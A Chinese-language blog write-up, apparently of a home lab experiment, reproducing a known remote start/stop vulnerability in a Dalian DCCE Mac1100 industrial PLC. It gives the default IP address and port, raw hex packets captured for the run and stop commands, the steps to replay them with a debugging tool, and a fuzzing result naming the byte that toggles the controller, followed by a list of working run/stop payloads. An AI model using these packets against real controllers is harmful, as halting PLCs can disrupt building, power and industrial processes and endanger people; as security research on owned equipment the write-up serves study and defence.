一、前言
早在“2019护网杯”线下赛中就接触过PLC远程启停的题目,但是当初还对工控安全一知半解,更不用说PLC了,在这之前也没见过真实的plc设备。因此,在比赛中也没得到该题目的分数。
去年10月份有幸参加了灯塔实验室
组织的工控安全高阶培训,培训中大佬们有讲到关于PLC远程启停的实验,后来本着学习的态度购买了一系列工控安全学习设备,包括西门子S7-1200-PLC、大工Mac系列PLC等,于是开始尝试复现PLC远程启停的实验。
先是参考https://www.key1.top/index.php/archives/469/
使用ISF框架来复现S7-1200 PLC远程启停攻击,多次尝试均未成功,后来咨询了67626d
大佬,说是由于我的PLC固件版本太高导致不存在PLC远程启停漏洞了…只怪自己太菜,不敢尝试刷低版本PLC固件,于是决定先放弃~~
后面又借助灯塔实验室大佬的思路进行复现,在此过程中也获取到了启停的数据流,但是不知出于什么原因没有复现成功。周末时间再尝试下,成功后将次记录下来,以供学习与交流。
二、Mac1100 PLC简介
MAC1100 PLC可编程逻辑控制器(PLC)是大连计控(DCCE)可编程逻辑控制器(PLC)系列中的一款产品。该产品被广泛应用于智能楼宇、电力数据监控、控热控制系统、企业管理系统等重要工业控制现场。
MAC1100 PLC存在远程控制漏洞。攻击者可利用漏洞远程直接控制PLC的开启和停止,影响控制器的正常运行。
参考链接:https://www.cnvd.org.cn/flaw/show/CNVD-2018-08787
三、PLC远程启停攻击实验
3.1 工具及运行环境
- 大工Mac1100PLC
- PLC_Config
- WireShark
- 通信猫调试软件
3.2 远程启停步骤
1、连接PLC Mac1100
大工PLC Mac1100出厂默认ip为:192.168.1.181
配置电脑ip:192.168.1.182
使用PLCConfig软件连接plc控制器
2、打开wireshark抓包,获取plc的启、停流量
plc run流量:0d00242410001d002400f82a03000000
plc stop流量:0d00d67810001e000000f82a01000000
3、借助通信猫调试软件工具进行plc远程启停
首先进行PLC的启动操作,通信猫调试软件工具由本机向192.168.1.181的11000端口发动0d00242410001d002400f82a03000000
启动报文,可见plc此时已经Run起来了。
同理,向192.168.1.181的11000端口发动0d00d67810001e000000f82a01000000
停止报文,可见plc此时已经处于Stop状态。
四、总结
经过多轮的启停测试,获取了下列流量。通过观察,每一组启、停的流量中都存在几处相同的数据流,针对存在差异的数据流进行了Fuzzing测试,最终得到结论:
0d005454100006002400f82a0?000000
?
处的这一位控制着PLC设备的启停。
run :0d005454100006002400f82a03000000
stop:0d0007c2100007000000f82a01000000
run :0d00e58e100001002400f82a03000000
stop:0d0017d2100002000000f82a01000000
run :0d00a45b100005002400f82a03000000
stop:0d005607100006000000f82a01000000
run :0d000591100007002400f82a03000000
stop:0d0037f2100008000000f82a01000000
run :0d006464100009002400f82a03000000
stop:0d00963810000a000000f82a01000000
run :0d00c5ae10000b002400f82a03000000
stop:0d00762710000c000000f82a01000000
run :0d0025b110000d002400f82a03000000
stop:0d00d7ed10000e000000f82a01000000
run :0d00847b10000f002400f82a03000000
stop:0d00b78d100010000000f82a01000000
run :0d00e41b100011002400f82a03000000
stop:0d001647100012000000f82a01000000
run :0d0045d1100013002400f82a03000000
stop:0d00f658100014000000f82a01000000
run :0d00a5ce100015002400f82a03000000
stop:0d005792100016000000f82a01000000